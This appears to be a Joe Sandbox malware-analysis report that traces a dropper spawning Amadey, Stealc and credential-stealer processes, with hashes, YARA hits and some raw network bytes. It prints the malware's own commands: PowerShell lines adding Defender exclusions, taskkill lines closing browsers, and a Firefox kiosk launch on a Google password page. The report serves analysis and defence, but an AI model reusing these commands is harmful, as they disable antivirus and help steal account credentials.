2024-10-29 23:22:13 UTC	15331	OUT	Data Raw: f3 2c 9d a2 47 34 ee 4c 3a bf 1c 63 d0 bf 93 58 c3 25 86 88 43 40 19 7c 62 85 6f 33 ae 14 d1 cb 89 82 a3 52 05 d3 be 45 c2 6a c5 2a 5d 12 a0 ee 80 b2 9f a4 b9 3d f0 80 03 43 19 41 c1 4a 44 9a 9b bf 5d 7b fa a0 2c 81 1f 38 2f 66 9a 74 84 dc ad 19 58 00 0b 40 6f 5e 6a 61 89 57 7e de 0c ad 0c cc 58 e1 56 59 cd c0 cd c2 b9 c0 0c 76 8b 33 7f 38 60 81 8b 20 e2 ce 23 b1 3f 1c 4e d9 97 f3 f3 90 5a a0 11 27 60 2c b7 03 66 3e 69 03 6d 9e fa 40 90 ac fd e9 f8 34 ea b7 b9 10 df f1 8e e7 ec a8 08 f2 d8 e2 9b 62 ca e4 65 0d 0e ef 95 26 5e ea bd 9b c0 01 f7 77 7b 48 bb f9 50 1e ef c9 4f b6 27 26 83 5a 62 0c 4a 9e 7c 64 9c 6a a0 cc 4f 0f cc df 57 32 9f 05 dd 2a c5 d3 d5 a3 6f 54 84 dd 8d 03 38 e3 af 5a 80 35 ba 94 74 8b 67 d0 5c 1c 70 4f 94 0b d1 56 ad 92 9c 65 6e 59 6d Data Ascii: ,G4L:cX%C@\|bo3REj]=CAJD]{,8/ftX@o^jaW~XVYv38` #?NZ'`,f>im@4be&^w{HPO'&ZbJ\|djOW2oT8Z5tg\pOVenYm
2024-10-29 23:22:13 UTC	15331	OUT	Data Raw: ee 2c 31 ec 51 2e 53 2a a3 fe 71 ec 65 dc 6b e6 cd e3 e1 42 6c bf 5d ad 85 54 19 e0 97 cb 48 01 2d 7f c8 f7 e0 15 b9 7b 6d 42 b5 2e eb 33 df b3 0f b6 8c c3 a9 d5 85 61 99 35 2b 9e 43 cf 3f 34 ca 3b ba 54 b7 27 20 9d 87 66 5c b9 52 e1 d6 cf 9a 27 4b 74 73 3d 90 99 79 ab 43 b6 88 f1 fc 8e e6 92 91 29 73 85 90 27 9e 31 ed a5 13 83 36 99 7c c0 85 03 e7 ce 9d 0b 78 c8 f7 cd ca c9 93 37 21 18 93 a4 e2 9b 0b 3d 7d 08 ab 1c ee 28 50 b6 9d a9 97 ff 1f 9a eb fa f0 49 8d e9 a5 31 90 c2 f3 d8 d1 2f 82 3f ff 61 2f e0 1e 8b 39 9a 0b 4c 98 37 1a 1d 53 23 bb 7e 6d df 0f 97 83 35 46 f4 16 0d 51 39 0a 37 27 77 2f c2 35 bc 72 26 d3 1a ef 7a 75 8f 65 29 15 37 d9 d3 d4 5d e9 3a 70 8d c0 67 19 a9 70 ed cc 4b a8 c3 65 43 b2 1f 2c 44 95 f5 ac c4 25 dd 02 fb 84 81 b9 34 f1 2d 7a Data Ascii: ,1Q.S*qekBl]TH-{mB.3a5+C?4;T' f\R'Kts=yC)s'16\|x7!=}(PI1/?a/9L7S#~m5FQ97'w/5r&zue)7]:pgpKeC,D%4-z
2024-10-29 23:22:13 UTC	2721	OUT	Data Raw: 76 c4 9a fe b0 ba 97 5f e6 3a 9f 95 f7 ef 52 7b d5 5b e6 f3 a9 0c 45 5f 30 29 77 10 00 93 72 03 76 e7 9f 57 9c 1e db b9 cd 08 9d 41 7d c9 cf bf 4b 98 84 cf 22 d1 c1 d8 f4 82 e2 e2 18 db 3f 25 8e 04 38 bf 20 58 30 8e 93 46 f9 5d 08 c3 cd 35 4f 40 e1 f5 a5 54 27 42 83 53 c5 6b 7d e4 99 45 f2 3a 4c cc 32 d1 01 62 bb 7d 39 b3 70 a2 94 89 08 af bf c4 87 3e c1 6a f7 6a 83 c0 a6 b5 f5 94 a6 f0 93 67 e8 2a ab dd 9d 87 47 53 99 d5 cf 87 15 a9 a9 31 b1 7e a4 06 05 3c fd 6c fe a3 e2 62 50 f0 57 b1 c1 03 08 ee 9e ae 75 cf 38 4a 5d a8 78 e2 e1 cc 1d 1c 0c 75 1f 17 bf a6 9c bb a5 a7 c4 3a 1a 98 dc ab 99 b3 97 70 e6 3f 62 18 bd 66 62 99 39 97 f5 30 f7 5a 92 92 1b 2f 11 de 36 d1 3e 31 32 91 f7 86 71 38 79 35 80 d5 18 e0 5e cd a6 55 f6 9a a1 5f 13 ef 2b 64 27 86 f0 d0 75 Data Ascii: v_:R{[E_0)wrvWA}K"?%8 X0F]5O@T'BSk}E:L2b}9p>jjg*GS1~<lbPWu8J]xu:p?bfb90Z/6>12q8y5^U_+d'u

Target ID:	0
Start time:	19:19:59
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x880000
File size:	2'932'224 bytes
MD5 hash:	3F075D8A80C2881D26355E63CC367019
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:20:17
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe"
Imagebase:	0x1f0000
File size:	2'790'400 bytes
MD5 hash:	31DCBB1049045C8DDE02EFAA077817FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:20:19
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe"
Imagebase:	0xe70000
File size:	1'887'744 bytes
MD5 hash:	B54F03BAF9BE367B7557E928638593AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2249003575.0000000005640000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2289746911.0000000000E71000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:20:22
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7a0000
File size:	1'887'744 bytes
MD5 hash:	B54F03BAF9BE367B7557E928638593AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2276285664.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2316663623.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:20:23
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7a0000
File size:	1'887'744 bytes
MD5 hash:	B54F03BAF9BE367B7557E928638593AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2330842559.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2290151058.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:21:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7a0000
File size:	1'887'744 bytes
MD5 hash:	B54F03BAF9BE367B7557E928638593AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2663696732.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:21:08
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002474001\Session.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002474001\Session.exe"
Imagebase:	0xc50000
File size:	21'504 bytes
MD5 hash:	3BA35E9D091539EC658813E3D15E4B89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 5%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:21:08
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	19:21:12
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0xe60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:21:12
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:21:13
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras
Imagebase:	0xe60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:21:14
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe"
Imagebase:	0x7c0000
File size:	2'932'224 bytes
MD5 hash:	3F075D8A80C2881D26355E63CC367019
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2889027926.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2889531555.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:21:14
Start date:	29/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	19:21:19
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe"
Imagebase:	0xa00000
File size:	2'133'504 bytes
MD5 hash:	B2D5F7C5A51B55BFE094DBE2A60DA2E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.2889844017.0000000000A01000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000003.2849204147.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:21:24
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe"
Imagebase:	0xf90000
File size:	919'552 bytes
MD5 hash:	DD4869403AE714150E8B540B53E7F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:21:24
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:21:24
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe"
Imagebase:	0x7c0000
File size:	2'932'224 bytes
MD5 hash:	3F075D8A80C2881D26355E63CC367019
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2974221660.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2987847015.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3013020839.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2976676095.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2976425232.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3013381899.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.3030153241.0000000001468000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:21:27
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:21:28
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:21:28
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:21:28
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:21:29
Start date:	29/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	19:21:29
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2124 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7829afb-268f-4ef2-af60-a12dd001b36d} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d4aa6f710 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:21:30
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002490001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002490001\num.exe"
Imagebase:	0x180000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000000.2947004348.0000000000181000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2976722761.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2968126684.0000000000181000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:21:32
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4608 -parentBuildID 20230927232528 -prefsHandle 3488 -prefMapHandle 3328 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {04087b54-4cf9-41a7-8d51-39c0080b3bcf} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d5bebe610 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:21:34
Start date:	29/10/2024
Path:	C:\Lipras\pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Lipras\pdf.exe"
Imagebase:	0x8a0000
File size:	1'290'240 bytes
MD5 hash:	21EB0B29554B832D677CEA9E8A59B999
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.3140442773.000000000153E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 59%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:21:35
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe"
Imagebase:	0xa00000
File size:	2'133'504 bytes
MD5 hash:	B2D5F7C5A51B55BFE094DBE2A60DA2E3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3075351456.00000000018BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3069894615.0000000000A01000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.3021486634.0000000005430000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:21:43
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe"
Imagebase:	0x640000
File size:	2'790'400 bytes
MD5 hash:	31DCBB1049045C8DDE02EFAA077817FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:21:44
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe"
Imagebase:	0xf90000
File size:	919'552 bytes
MD5 hash:	DD4869403AE714150E8B540B53E7F01F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:21:45
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:21:45
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:21:48
